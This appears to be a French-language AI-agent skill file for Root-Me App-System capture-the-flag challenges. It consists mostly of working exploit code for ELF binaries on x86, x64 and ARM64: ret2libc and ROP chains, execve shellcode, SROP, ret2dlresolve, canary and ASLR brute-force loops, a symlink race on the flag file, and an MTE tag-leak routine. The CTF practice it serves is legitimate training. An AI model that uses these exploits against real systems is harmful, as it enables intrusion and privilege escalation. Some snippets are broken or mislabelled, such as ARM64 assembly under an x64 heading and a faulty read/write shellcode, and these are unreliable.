| name | ctf-app-system |
| description | Root-Me app-system (SSH-only): ELF x86/x64/ARM64 & Windows Kernel x64. No local GDB. Libc.rip fingerprint, patchelf, ret2libc/ROP/ret2dlresolve, FSOP glibc 2.35+, BROP, ARM64 AAPCS64 / PAC / TikTag MTE, Windows token steal / PreviousMode / Segment Heap. |
CTF App-System (Root-Me)
Skill spécialisé pour les challenges Root-Me de la catégorie App - System, accessibles via SSH. La difficulté principale : pas de GDB interactif sur le serveur, pas de pwntools installé, exploit développé localement puis transféré.
Ressources complémentaires
- rootme-ssh.md â Workflow SSH Root-Me : connexion, fingerprint libc (libc.rip API), transfert exploit, patchelf, one_gadget remote, DynELF
- elf-x86.md â ELF 32-bit : cdecl (args sur pile), ret2libc 32-bit, shellcode i386,
int 0x80 syscalls, ret2dlresolve x86, format string 32-bit, ASLR brute-force, race condition TOCTOU
- elf-x64.md â ELF 64-bit : System V AMD64 (rdi/rsi/rdx), ret2csu, PIE+ASLR bypass, canary leak/brute, stack alignment fix, GOT overwrite, one_gadget, BROP, seccomp ORW, leakless heap techniques
- elf-arm64.md â ARM64/AArch64 : AAPCS64 (x0-x7/LR=x30), LR overwrite, JOP vs ROP, PAC bypass (QEMU NOP), TikTag MTE bypass (2024), SROP ARM64, QEMU local testing, gadget raretĂ©
- winkern-x64.md â Windows Kernel x64 : token stealing (_EPROCESS offsets), PreviousMode write (CVE-2024-21338), pool overflow, IOCTL AAR/AAW, Segment Heap, Handle Table, SMEP bypass, Windows 11 VBS/HVCI/CFG mitigations, driver IDA analysis
Pattern Recognition Index
Dispatch on observable binary/remote signals, not the Root-Me challenge number.
| Signal | Technique â file |
|---|
readelf -h â ELFCLASS32, EM_386; args on stack | i386 cdecl ret2libc / int 0x80 shellcode â elf-x86.md |
| ELFCLASS64 EM_X86_64, stack buffer overflow, libc present | ret2libc + ret2csu + rdi gadget â elf-x64.md |
| ELFCLASS64 EM_AARCH64 | AAPCS64 LR overwrite / JOP â elf-arm64.md |
Binary with BTI + PAC symbols (paciasp, autiasp) | PAC bypass / TikTag MTE leak â elf-arm64.md |
PE64 driver (.sys) + IOCTL handlers | Token stealing / PreviousMode â winkern-x64.md |
Remote only (no local binary), forking accept loop, long timeout | BROP from scratch â elf-x64.md (cross-ref ctf-pwn/brop.md) |
| SSH-only shell, no GDB / no pwntools on server | libc.rip fingerprint + patchelf local â rootme-ssh.md |
Seccomp filter denies execve but allows open/read/write | ORW ROP chain â elf-x64.md |
| FSOP primitive reachable + glibc â„ 2.35 | FSOPAgain â elf-x64.md |
| Heap primitive + glibc 2.32â2.39 | House of Rust/Water/Tangerine â elf-x64.md (cross-ref ctf-pwn/heap-leakless.md) |
Windows kernel pool grooming + SeDebugPrivilege target | Segment Heap + Handle Table primitives â winkern-x64.md |
Recognize the mechanic, not the Root-Me title.
For inline snippets and quick-reference tables, see quickref.md. The Pattern Recognition Index above is the dispatch table â always consult it first.
CTF App-System â ELF ARM64 / AArch64
Spécificités ARM64 critiques
Convention d'appel ARM64 (AAPCS64)
Registres arguments : x0, x1, x2, x3, x4, x5, x6, x7
Valeur de retour : x0 (x0:x1 pour 128-bit)
Link Register : x30 (LR) â adresse de retour
Frame Pointer : x29 (FP)
Stack Pointer : sp (aligné à 16 bytes OBLIGATOIRE)
Scratch registers : x8-x18 (caller-saved)
Preserved registers : x19-x28, x29, x30 (callee-saved)
DIFFĂRENCE MAJEURE : Le ret en ARM64 saute vers x30 (LR), pas vers la pile.
L'adresse de retour est souvent sauvegardée sur la pile par le prologue.
Prologue/Epilogue ARM64 typiques
; Prologue : sauvegarde LR et FP
stp x29, x30, [sp, #-0x20]! ; push {fp, lr}; sp -= 0x20
mov x29, sp
; Corps de la fonction
...
; Epilogue : restaure et retourne
ldp x29, x30, [sp], #0x20 ; pop {fp, lr}; sp += 0x20
ret ; jump to x30
; Si overflow du buffer : overwrite x30 (LR) sauvegardé sur la pile
Layout pile ARM64
[ local vars ] â sp (alignĂ© 16)
[ x29 (FP) ] â sp + buffer_size
[ x30 (LR) ] â sp + buffer_size + 8 â TARGET (overwrite return addr)
Offset = taille_buffer â overwrite x30 (pas de "saved rbp" sĂ©parĂ© comme x86)
Trouver l'offset ARM64
python3 -c "from pwn import *; context.arch='aarch64'; sys.stdout.buffer.write(cyclic(200))" \
| ./challenge
qemu-aarch64 -g 1234 ./challenge &
gdb-multiarch -ex "set arch aarch64" -ex "target remote :1234" ./challenge
objdump -d ./challenge | grep -A3 "sub.*sp"
Test local ARM64 avec QEMU
sudo apt install qemu-user-static gcc-aarch64-linux-gnu gdb-multiarch
qemu-aarch64-static -L /usr/aarch64-linux-gnu ./challenge
qemu-aarch64-static -g 1234 -L /usr/aarch64-linux-gnu ./challenge &
gdb-multiarch ./challenge -ex "target remote :1234"
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
io = process(['qemu-aarch64-static', '-L', '/usr/aarch64-linux-gnu', './challenge'])
ROP ARM64 : rareté des gadgets
ProblĂšme : ARM64 a des instructions de taille fixe (4 bytes), ce qui limite drastiquement les gadgets par rapport Ă x86. Les gadgets ret sont rares car ARM64 utilise br x30 ou ret.
ROPgadget --binary ./challenge --rop --arch aarch64
ropper -f ./challenge --arch AARCH64
JOP (Jump-Oriented Programming) ARM64
JOP = alternative Ă ROP sur ARM64 quand ret gadgets manquent. Utilise br xN ou blr xN (call via registre) pour chaĂźner les gadgets.
ret2libc ARM64
from pwn import *
context.arch = 'aarch64'
elf = ELF('./challenge')
libc = ELF('./libc.so.6')
pop_x0 = ...
offset = 72
payload = b'A' * offset
payload += p64(pop_x0)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
io.sendline(payload)
puts_leak = u64(io.recvn(8))
libc_base = puts_leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'A' * offset
payload2 += p64(pop_x0) + p64(binsh)
payload2 += p64(system)
io.sendline(payload2)
io.interactive()
Shellcode ARM64
from pwn import *
context.arch = 'aarch64'
shellcode = asm(shellcraft.aarch64.linux.sh())
shellcode = asm('''
/* execve("/bin/sh", NULL, NULL) */
mov x8, #221 /* __NR_execve = 221 */
adr x0, binsh
mov x1, #0
mov x2, #0
svc #0
binsh: .asciz "/bin/sh"
''')
Pointer Authentication (PAC) bypass
objdump -d ./challenge | grep -E "pac|aut"
qemu-aarch64-static -cpu max ./challenge
Gadgets ARM64 courants dans libc
ROPgadget --binary ./libc.so.6 --rop --arch aarch64 | grep "pop {x0}"
ropper -f ./libc.so.6 --arch AARCH64 | grep "ldr x0"
Numéros de syscalls ARM64
__NR_read = 63
__NR_write = 64
__NR_openat = 56
__NR_close = 57
__NR_execve = 221
__NR_exit = 93
__NR_mmap = 222
__NR_mprotect = 226
__NR_brk = 214
__NR_rt_sigreturn = 139
payload = asm('''
mov x8, 221 ; __NR_execve
adr x0, sh_str
mov x1, xzr
mov x2, xzr
svc 0
sh_str: .ascii "/bin/sh\x00"
''')
TikTag â MTE Bypass via Speculative Execution (2024)
Source : github.com/compsec-snu/tiktag | IEEE S&P 2025
Impact : Bypass hardware Memory Tagging Extension (MTE) via branch predictor / store-to-load forwarding
Contexte CTF : Challenges ARM64 avec MTE activé (Pixel 8, serveurs modernes)
objdump -d ./challenge | grep -E "stg|ldg|irg|addg|subg|gmi"
qemu-aarch64-static -cpu max,mte=on ./challenge
#include <time.h>
#include <signal.h>
volatile int tag_found = 0;
volatile uint8_t correct_tag = 0;
void sigsegv_handler(int sig) {
longjmp(env, 1);
}
uint8_t leak_mte_tag(void *tagged_ptr) {
signal(SIGSEGV, sigsegv_handler);
for (uint8_t tag = 0; tag < 16; tag++) {
void *test_ptr = (void*)((uintptr_t)tagged_ptr | ((uintptr_t)tag << 56));
if (setjmp(env) == 0) {
struct timespec start, end;
clock_gettime(CLOCK_MONOTONIC, &start);
volatile char val = *(char*)test_ptr;
clock_gettime(CLOCK_MONOTONIC, &end);
uint64_t elapsed = (end.tv_nsec - start.tv_nsec);
if (elapsed < THRESHOLD_NS) {
return tag;
}
}
}
return 0;
}
Pour Root-Me ARM64 avec MTE :
- La plupart des challenges Root-Me n'ont pas MTE (QEMU sans MTE par défaut)
- Vérifier :
cat /proc/cpuinfo | grep mte sur le serveur
- Si MTE absent â exploit normal sans tag bruteforce
SROP (Sigreturn-Oriented Programming) ARM64
from pwn import *
context.arch = 'aarch64'
frame = SigreturnFrame(arch='aarch64')
frame.x0 = 0
frame.x8 = 221
frame.sp = binsh_addr
frame.pc = syscall_gadget
payload = b'A' * offset
payload += p64(sigreturn_gadget)
payload += bytes(frame)
Debugging ARM64 remote (Root-Me SSH)
file ./challenge
which gdb
which python3
scp -P 2222 user@host:~/challenge ./
scp -P 2222 user@host:/lib/aarch64-linux-gnu/libc.so.6 ./libc_arm64.so.6
qemu-aarch64-static -L /usr/aarch64-linux-gnu ./challenge
Template exploit ARM64 complet
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'info'
elf = ELF('./challenge')
libc = ELF('./libc_arm64.so.6')
rop = ROP(elf)
LOCAL = True
if LOCAL:
io = process(['qemu-aarch64-static', '-L', '/usr/aarch64-linux-gnu', './challenge'])
else:
shell = ssh('user', 'challenge.root-me.org', port=2222, password='...')
io = shell.process('./challenge')
offset = 72
pop_x0 = 0x...
payload = flat([
b'A' * offset,
pop_x0,
elf.got['puts'],
elf.plt['puts'],
elf.sym['main'],
])
io.sendlineafter(b'> ', payload)
leak = u64(io.recvn(8))
libc.address = leak - libc.sym['puts']
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
payload2 = flat([
b'A' * offset,
pop_x0,
binsh,
system,
])
io.sendlineafter(b'> ', payload2)
io.interactive()
CTF App-System â ELF x64 (64-bit)
Convention d'appel System V AMD64
Registres pour les arguments :
rdi â arg1
rsi â arg2
rdx â arg3
rcx â arg4
r8 â arg5
r9 â arg6
Reste â sur la pile
Valeur de retour : rax
Registres sauvegardés par l'appelé : rbx, rbp, r12-r15
Implication ROP : pour appeler system("/bin/sh"), besoin de pop rdi; ret pour mettre /bin/sh dans rdi.
Stack layout 64-bit
[ arg7+... ] â si plus de 6 args
[ ret addr ] â rsp+0 (â RIP overwrite)
[ saved rbp] â rbp
[ local vars]
[ buffer ] â rbp-N
Offset = N + 8 (saved RBP) â overwrite return address.
Stack alignment critique (SIGSEGV dans movaps)
ret_gadget = elf.address + 0x...
payload = b'A' * offset + p64(ret_gadget) + p64(pop_rdi) + p64(binsh) + p64(system)
ret2libc 64-bit complet
from pwn import *
elf = ELF('./challenge')
libc = ELF('./libc.so.6')
rop = ROP(elf)
context.arch = 'amd64'
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
offset = 72
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
io.sendlineafter(b'> ', payload)
puts_leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = puts_leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'A' * offset
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)
io.sendlineafter(b'> ', payload2)
io.interactive()
ContrĂŽler rsi et rdx (3 arguments)
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
pop_rdx_rbx = libc_base + 0x...
payload += p64(pop_rdi) + p64(filename_addr)
payload += p64(pop_rsi_r15) + p64(O_RDONLY) + p64(0)
payload += p64(pop_rdx_rbx) + p64(0) + p64(0)
payload += p64(open_addr)
ret2csu (quand gadgets manquent)
elf.symbols['__libc_csu_init']
def ret2csu(func_got_ptr, arg1=0, arg2=0, arg3=0, ret_addr=None):
"""Appel une fonction avec 3 arguments via __libc_csu_init"""
csu_end = elf.symbols['__libc_csu_init'] + 0x5a
csu_mid = elf.symbols['__libc_csu_init'] + 0x40
chain = p64(csu_end)
chain += p64(0)
chain += p64(1)
chain += p64(func_got_ptr)
chain += p64(arg1)
chain += p64(arg2)
chain += p64(arg3)
chain += p64(csu_mid)
chain += p64(0) * 7
if ret_addr:
chain += p64(ret_addr)
return chain
PIE bypass
payload = b'%p.' * 30
payload = b'A' * offset + p16(0x1234)
Canary leak et bypass
for i in range(1, 50):
io.sendline(f'%{i}$016lx'.encode())
val = int(io.recvline().strip(), 16)
if val & 0xff == 0:
print(f"Canary Ă la position {i}: {hex(val)}")
canary = b'\x00'
for idx in range(1, 8):
for byte in range(256):
payload = b'A' * offset + canary + bytes([byte])
...
canary += bytes([found_byte])
payload = b'A' * canary_offset + canary + p64(0)
payload += p64(pop_rdi) + p64(binsh) + p64(system)
GOT overwrite (Partial RELRO)
target_got = elf.got['exit']
win_func = elf.symbols['win']
from pwn import fmtstr_payload
payload = fmtstr_payload(fmt_offset, {target_got: win_func}, write_size='short')
one_gadget (shell direct sans args)
from pwn import *
import subprocess
result = subprocess.check_output(['one_gadget', 'libc.so.6']).decode()
for offset in [0x4f2a5, 0x4f302, 0xe6c7e]:
one_gadget = libc_base + offset
payload = b'A' * padding + p64(one_gadget)
Techniques avancées x64
Stack pivot (overflow limité)
leave_ret = rop.find_gadget(['leave', 'ret'])[0]
fake_stack = elf.bss() + 0x100
payload = b'A' * (offset - 8) + p64(fake_stack) + p64(leave_ret)
Format string â leak multiple (PIE + canary + libc)
payload = b'%p.' * 50
io.sendline(payload)
leaks = io.recvline().decode().split('.')
for i, leak in enumerate(leaks):
val = int(leak, 16) if leak.startswith('0x') else 0
if val > 0x7f0000000000: print(f"[{i}] Possible libc: {hex(val)}")
if val & 0xff == 0: print(f"[{i}] Possible canary: {hex(val)}")
Heap leak pour tcache poison
io.sendline(b'1')
io.sendline(b'3')
io.sendline(b'2')
heap_addr = u64(io.recvn(8))
BROP (Blind ROP) â serveur SSH sans binaire
scp -P 2222 user@host:~/challenge ./
Seccomp + ROP (glibc 2.38+)
from pwn import *
seccomp_dump = subprocess.check_output(['seccomp-tools', 'dump', './challenge'])
from pwn import *
ORW = asm(f'''
/* openat(AT_FDCWD, "/challenge/.passwd", O_RDONLY) */
mov x8, #56 /* __NR_openat */
mov x0, #-100 /* AT_FDCWD */
adr x1, flag_path
mov x2, #0 /* O_RDONLY */
mov x3, #0
svc #0
/* read(fd, buf, 0x100) */
mov x1, x0 /* fd retourné */
mov x8, #63 /* __NR_read */
mov x0, x1
mov x1, sp /* buf = stack */
mov x2, #0x100
svc #0
/* write(1, buf, bytes_read) */
mov x8, #64 /* __NR_write */
mov x1, #1
/* x1 = stdout */
svc #0
flag_path: .ascii "/challenge/.passwd\\0"
''', arch='aarch64')
Leakless x64 pour Root-Me
def choose_heap_technique(libc_version):
if libc_version < (2, 26):
return "fastbin_dup"
elif libc_version < (2, 32):
return "tcache_poison"
elif libc_version < (2, 34):
return "tcache_safe_linking"
elif libc_version < (2, 39):
return "house_of_water"
else:
return "house_of_tangerine"
Commandes de recon x64
readelf -s ./libc.so.6 | grep " puts"
strings -a -t x ./libc.so.6 | grep "/bin/sh"
ROPgadget --binary ./challenge --rop | grep "pop rdi"
ROPgadget --binary ./libc.so.6 --rop | grep "pop rdx"
python3 -c "
from pwn import *
elf = ELF('./challenge')
rop = ROP(elf)
print(rop.dump())
"
CTF App-System â ELF x86 (32-bit)
Spécificités 32-bit vs 64-bit
| Aspect | x86 32-bit | x86-64 |
|---|
| Convention d'appel | cdecl : args sur la pile | Registres rdi, rsi, rdx... |
| Adresses | 4 octets (0x08048xxx) | 8 octets (0x55..., 0x7f...) |
| Syscalls | int 0x80, eax=numéro | syscall, rax=numéro |
| ASLR | 8-bit d'entropie (stack) | 28-bit (plus difficile Ă bruteforcer) |
| ret2libc | system(addr_binsh) simplifié | Besoin de gadgets pop rdi/ret |
| Shellcode | Facile (i386) | NX rend nécessaire ROP |
Stack layout 32-bit
[ arg2 ] â esp+8 aprĂšs call
[ arg1 ] â esp+4
[ return addr] â esp+0 (â RIP overwrite ici)
[ saved ebp ] â ebp
[ local vars ]
[ buffer ] â ebp-N
Offset = N (taille buffer) + 4 (saved EBP) â overwrite return address.
ret2libc 32-bit (le plus fréquent sur Root-Me)
from pwn import *
elf = ELF('./challenge')
libc = ELF('./libc.so.6')
system_plt = elf.plt['system']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
offset = 76
payload = b'A' * offset
payload += p32(puts_plt)
payload += p32(elf.symbols['main'])
payload += p32(puts_got)
io.sendline(payload)
puts_leak = u32(io.recv(4))
libc_base = puts_leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'A' * offset
payload2 += p32(system)
payload2 += p32(0xdeadbeef)
payload2 += p32(binsh)
io.sendline(payload2)
io.interactive()
ret2win 32-bit (pas de leak requis)
elf = ELF('./challenge')
win = elf.symbols['win']
offset = 76
payload = b'A' * offset + p32(win)
ret2libc sans leak (quand PIE désactivé)
binsh_addr = next(elf.search(b'/bin/sh\x00'))
Shellcode 32-bit (quand NX désactivé)
from pwn import *
context.arch = 'i386'
shellcode = asm(shellcraft.sh())
offset = 64
nop_sled = b'\x90' * 100
payload = nop_sled + shellcode + b'A' * (offset - len(nop_sled) - len(shellcode))
payload += p32(stack_addr)
Format string 32-bit
for i in range(1, 30):
io.sendline(f'%{i}$x'.encode())
print(i, io.recvline())
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {got_addr: target_addr})
Trouver l'offset de l'overflow
python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))" | ./challenge
gdb ./challenge
run <<< $(python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))")
python3 -c "from pwn import *; print(cyclic_find(0x61616164))"
python3 -c "print('A'*76 + 'BBBB')" | ./challenge
ret2dlresolve 32-bit (sans libc leak)
from pwn import *
elf = ELF('./challenge')
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr, len(dlresolve.payload))
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
offset = 76
payload = fit({offset: raw_rop}, length=offset+len(raw_rop))
io.sendline(payload)
io.send(dlresolve.payload)
io.interactive()
Techniques de bypass 32-bit
ASLR Brute-force (32-bit seulement)
for i in range(256):
io = process('./challenge')
payload = b'A' * offset + p32(stack_guess)
io.sendline(payload)
try:
io.recv(timeout=0.5)
print("SUCCESS!")
io.interactive()
break
except:
io.close()
ASLR par-processus sur Root-Me (piĂšge critique)
SymptÎme : le scan trouve l'adresse du buffer, mais l'exploit échoue à chaque fois.
Cause : Sur les serveurs Root-Me, setarch i386 -R ne dĂ©sactive PAS entiĂšrement l'ASLR de la pile. L'adresse du buffer est re-randomisĂ©e Ă chaque exĂ©cution du binaire (entropie ~1,6 Mo observĂ©e). MĂȘme au sein d'un mĂȘme script bash, chaque subprocess.run() ou fork donne une adresse diffĂ©rente.
RĂšgle absolue : Scan et exploit doivent se produire dans le mĂȘme processus. Ne jamais chercher l'adresse dans un appel et l'exploiter dans un autre.
Solution : shellcode combiné scan+exploit
sc = bytes([
0x54,
0x89, 0xe1,
0x6a, 0x04, 0x5a,
0x6a, 0x01, 0x5b,
0x6a, 0x04, 0x58,
0xcd, 0x80,
0x89, 0xe3,
0x31, 0xc9,
0x31, 0xd2,
0x6a, 0x05, 0x58, 0xcd, 0x80,
0x89, 0xc3,
0x83, 0xec, 0x40,
0x89, 0xe1,
0x6a, 0x40, 0x5a,
0x6a, 0x03, 0x58, 0xcd, 0x80,
0x89, 0xc2,
0x89, 0xe1,
0x6a, 0x01, 0x5b,
0x6a, 0x04, 0x58, 0xcd, 0x80,
0x31, 0xdb,
0x6a, 0x01, 0x58, 0xcd, 0x80,
])
Stratégie de scan avec shellcode combiné (depuis bash) :
#!/bin/bash
B='/path/to/setuid/binary'
N=-1869574000
awk -v n="$N" -v sc="$COMBINED_CHUNKS" 'BEGIN{
for(i=1;i<996;i++){print n; print i}
nsc=split(sc,a," ")
for(j=1;j<=nsc;j++){if(a[j]+0!=0){print a[j]; print 995+j}}
}' > /tmp/base.txt
addr=4294963200
cnt=0
while [ $cnt -lt 5000 ]; do
if [ $addr -gt 2147483647 ]; then rd=$((addr-4294967296)); else rd=$addr; fi
{ cat /tmp/base.txt; printf '%d\n-15\n' $rd; } > /tmp/ew.txt
timeout 2 setarch i386 -R "$B" /tmp/ew.txt > /tmp/out.bin 2>/dev/null
cnt=$((cnt+1))
sz=$(wc -c < /tmp/out.bin 2>/dev/null | tr -d ' ')
sz=${sz:-0}
if [ "$sz" -gt 4 ]; then
dd if=/tmp/out.bin bs=1 skip=4 2>/dev/null; echo; break
elif [ "$sz" -eq 4 ]; then
echo "[EXEC mais pas de flag - problĂšme setuid ?]"
fi
addr=$((addr - 3840))
[ $addr -lt 4278190080 ] && addr=4294963200
done
Diagnostic de l'exécution du shellcode :
ESP_SC_BYTES = bytes([
0x54, 0x89, 0xe1, 0x6a, 0x04, 0x5a,
0x6a, 0x01, 0x5b, 0x6a, 0x04, 0x58,
0xcd, 0x80,
0x31, 0xdb, 0x6a, 0x01, 0x58, 0xcd, 0x80,
])
Contrainte "pas de dword nul" dans les primitives d'écriture arbitraire :
import struct
chunks = [struct.unpack('<i', sc[i:i+4])[0] for i in range(0, len(sc), 4)]
zeros = [(i, v) for i, v in enumerate(chunks) if v == 0]
Serveur forking : canary brute-force byte par byte
canary = b'\x00'
for byte_idx in range(1, 4):
for byte_val in range(256):
io = remote(HOST, PORT)
payload = b'A' * offset + canary + bytes([byte_val])
io.sendline(payload)
response = io.recv(timeout=0.5)
if b'*** stack smashing' not in response:
canary += bytes([byte_val])
break
io.close()
Race condition (Root-Me classique)
while true; do
ln -sf /challenge/.passwd /tmp/target &
rm /tmp/target &
done &
import threading, os, time
def swap():
while True:
os.symlink('/challenge/.passwd', '/tmp/file')
os.remove('/tmp/file')
t = threading.Thread(target=swap, daemon=True)
t.start()
Syscalls 32-bit (int 0x80)
SYSCALL_READ = 3
SYSCALL_WRITE = 4
SYSCALL_OPEN = 5
SYSCALL_EXECVE = 11
shellcode_32 = asm('''
xor eax, eax
push eax
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov eax, 11 ; execve
int 0x80
''', arch='i386')
Gadgets ROPgadget 32-bit
ROPgadget --binary ./challenge --rop | grep "pop ebx"
ROPgadget --binary ./challenge --rop | grep "int 0x80"
ROPgadget --binary ./challenge --rop | grep "call system"
Protections Root-Me x86 typiques
checksec --file=challenge
ctf-app-system â Quick Reference
Inline code / one-liners / common payloads. Loaded on demand from SKILL.md. Detailed techniques live in the category-specific support files listed in SKILL.md.
Reconnaissance initiale
ssh -p 2222 <user>@<challenge>.root-me.org
uname -a
ldd --version
ls -la /challenge/ 2>/dev/null || ls ~
file ./challenge
checksec --file=./challenge
scp -P 2222 user@host:~/challenge ./
Stratégie selon les protections
| PIE | RELRO | Canary | NX | Stratégie |
|---|
| Non | Partial | Non | Non | Shellcode ou ret2win direct (adresses fixes) |
| Non | Partial | Non | Oui | GOT overwrite via fmt string ou ret2libc |
| Non | Full | Oui | Oui | Leak canary via fmt string â ROP ret2libc |
| Oui | Full | Oui | Oui | Leak PIE+libc via fmt string â ROP |
| Oui | Full | Oui | Oui | Heap UAF â leak â tcache poison |
Déterminer le type de vuln
objdump -d ./challenge | grep -A5 "gets\|scanf\|strcpy\|printf\|fgets"
strings ./challenge | grep -E "Enter|Input|Name|Message"
python3 -c "print('A'*200)" | ./challenge
python3 -c "print('%p.'*30)" | ./challenge
r2 -A ./challenge
pdf @ main
Workflow de résolution Root-Me
- Analyse statique locale â
checksec, file, Ghidra/r2, strings
- Identifier la vuln â overflow, format string, UAF, race
- Fingerprint libc remote â
ldd, strings /lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC, ou libc-database
- Patcher le binaire local â
patchelf pour matcher la libc du serveur
- DĂ©velopper l'exploit localement â avec
process() pwntools
- Switcher sur
remote() â ou transfĂ©rer via SSH + exĂ©cuter
- RĂ©cupĂ©rer le flag â
/passwd, /home/user/.passwd, /challenge/.passwd
Emplacement du flag sur Root-Me
cat /challenge/.passwd
cat ~/.passwd
find / -name ".passwd" 2>/dev/null
cat /passwd
Outils essentiels
pip install pwntools
pip install ROPgadget
pip install one_gadget
checksec --file=./binary
ROPgadget --binary ./binary --rop | grep "pop rdi"
one_gadget ./libc.so.6
strings ./libc.so.6 | grep "GLIBC_"
objdump -d ./binary | grep -A3 "<puts@plt>"
readelf -s ./libc.so.6 | grep " system"
Template pwntools universel
from pwn import *
elf = ELF('./challenge')
libc = ELF('./libc.so.6')
context.arch = 'amd64'
context.log_level = 'debug'
LOCAL = False
if LOCAL:
io = process('./challenge')
else:
io = remote('challenge01.root-me.org', 2222)
if LOCAL and args.GDB:
gdb.attach(io, '''
break *main+42
continue
''')
io.interactive()
Voir les fichiers spécialisés pour les techniques par architecture.
Root-Me App-System â Workflow SSH et Environnement Remote
Connexion aux challenges Root-Me
ssh -p 2222 app-systeme-ch0@challenge01.root-me.org
ssh -i ~/.ssh/rootme_key -p 2222 app-systeme-ch12@challenge01.root-me.org
ssh -p 2223 user@ctf.root-me.org
Identifier la libc du serveur
ldd ./challenge
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"
scp -P 2222 user@host:/lib/x86_64-linux-gnu/libc.so.6 ./remote_libc.so.6
scp -P 2222 user@host:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ./remote_ld.so.2
python3 -c "
from pwn import *
# Leak adresse puts@got, calculer offset dans libc
# puts_offset = libc.symbols['puts']
# libc_base = puts_leak - puts_offset
# system = libc_base + libc.symbols['system']
"
Patcher le binaire local pour matcher la libc remote
patchelf --set-interpreter ./remote_ld.so.2 ./challenge
patchelf --replace-needed libc.so.6 ./remote_libc.so.6 ./challenge
ldd ./challenge
LD_PRELOAD=./remote_libc.so.6 ./challenge
Transférer et exécuter un exploit via SSH
scp -P 2222 exploit.py user@host:~/
ssh -p 2222 user@host "python3 ~/exploit.py"
python3 -c "import sys; sys.stdout.buffer.write(b'A'*100 + b'\xef\xbe\xad\xde')" \
| ssh -p 2222 user@host "./challenge"
from pwn import *
shell = ssh('app-systeme-ch12', 'challenge01.root-me.org', port=2222,
password='app-systeme-ch12')
io = shell.process('./challenge')
io.interactive()
ssh -p 2222 user@host 'cat > /tmp/exploit.py << '"'"'EOF'"'"'
from pwn import *
io = process("./challenge")
io.sendline(b"A"*100)
print(io.recvall())
EOF
python3 /tmp/exploit.py'
Résoudre les contraintes remote (pas de pwntools installé)
which python3 python perl ruby nc socat
gcc -static -o exploit exploit.c
scp -P 2222 exploit user@host:~/tmp/
ssh -p 2222 user@host "./tmp/exploit"
python3 -c "print('A'*72 + '\xef\xbe\xad\xde')" | ./challenge
cat /proc/self/maps
Contraintes mémoire serveur Root-Me (CRITIQUE)
SymptÎme : python3 exploit.py échoue avec MemoryError ou Killed dÚs l'import de modules.
Cause : Les serveurs Root-Me sont des environnements multi-utilisateur contraints en RAM. MĂȘme python3 -S peut OOM car importer subprocess charge threading â traceback â tokenize â collections, chain trĂšs lourde.
RÚgle : Ne jamais importer de module complexe dans un script Python lancé sur le serveur. Préférer bash+awk.
python3 -S -c "import subprocess; subprocess.run(['./challenge'])"
awk 'BEGIN{ for(i=0;i<100;i++) print -1869574000; print i }' > /tmp/input.txt
./challenge /tmp/input.txt
awk -v n="$NOP_VAL" -v sc="$SC_CHUNKS" 'BEGIN{
for(i=1;i<996;i++){print n; print i} # NOP sled
nsc=split(sc,a," ")
for(j=1;j<=nsc;j++){print a[j]; print 995+j} # shellcode
}' > /tmp/exploit_base.txt
Pilotage SSH depuis local avec paramiko (quand Python OOM sur le serveur)
Architecture : Python+paramiko tourne en local, le serveur n'exécute que des commandes bash légÚres.
import paramiko, time
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('challenge03.root-me.org', port=2223, username='app-systeme-ch21',
password='app-systeme-ch21', timeout=30)
ssh.get_transport().set_keepalive(20)
sftp = ssh.open_sftp()
sftp.put('/tmp/exploit.sh', '/tmp/exploit.sh')
sftp.chmod('/tmp/exploit.sh', 0o755)
sftp.close()
chan = ssh.get_transport().open_session()
chan.exec_command('bash /tmp/exploit.sh 2>&1')
while True:
if chan.recv_ready():
print(chan.recv(4096).decode('utf-8', errors='replace'), end='', flush=True)
if chan.exit_status_ready():
while chan.recv_ready():
print(chan.recv(4096).decode('utf-8', errors='replace'), end='', flush=True)
break
time.sleep(0.1)
Limite critique : canaux SSH par session. Les serveurs Root-Me ferment la session aprĂšs ~50 exec_command. Ne jamais boucler exec_command en Python â le canal se ferme avec "Channel closed".
for addr in range(0xFFFFF000, 0xFF000000, -3840):
chan = ssh.get_transport().open_session()
chan.exec_command(f'./challenge /tmp/input_{addr}.txt')
chan.exec_command('bash /tmp/scan_loop.sh 2>&1')
Variable SSH_CLIENT et impact sur le stack layout
Observation : La variable d'environnement SSH_CLIENT est définie par connexion TCP. Elle contient "IP PORT 22" et occupe de l'espace sur la pile. Changer la connexion SSH change l'adresse du buffer en 32-bit.
Implication : Si le scan est fait dans une connexion paramiko et l'exploit dans une autre, les adresses peuvent diffĂ©rer mĂȘme si ASLR Ă©tait fixe.
RĂšgle : Toujours garder le MĂME objet ssh (mĂȘme session TCP) entre le scan et l'exploit. Encore mieux : utiliser le shellcode combinĂ© (voir elf-x86.md) qui scanne et exploite dans le mĂȘme sous-processus.
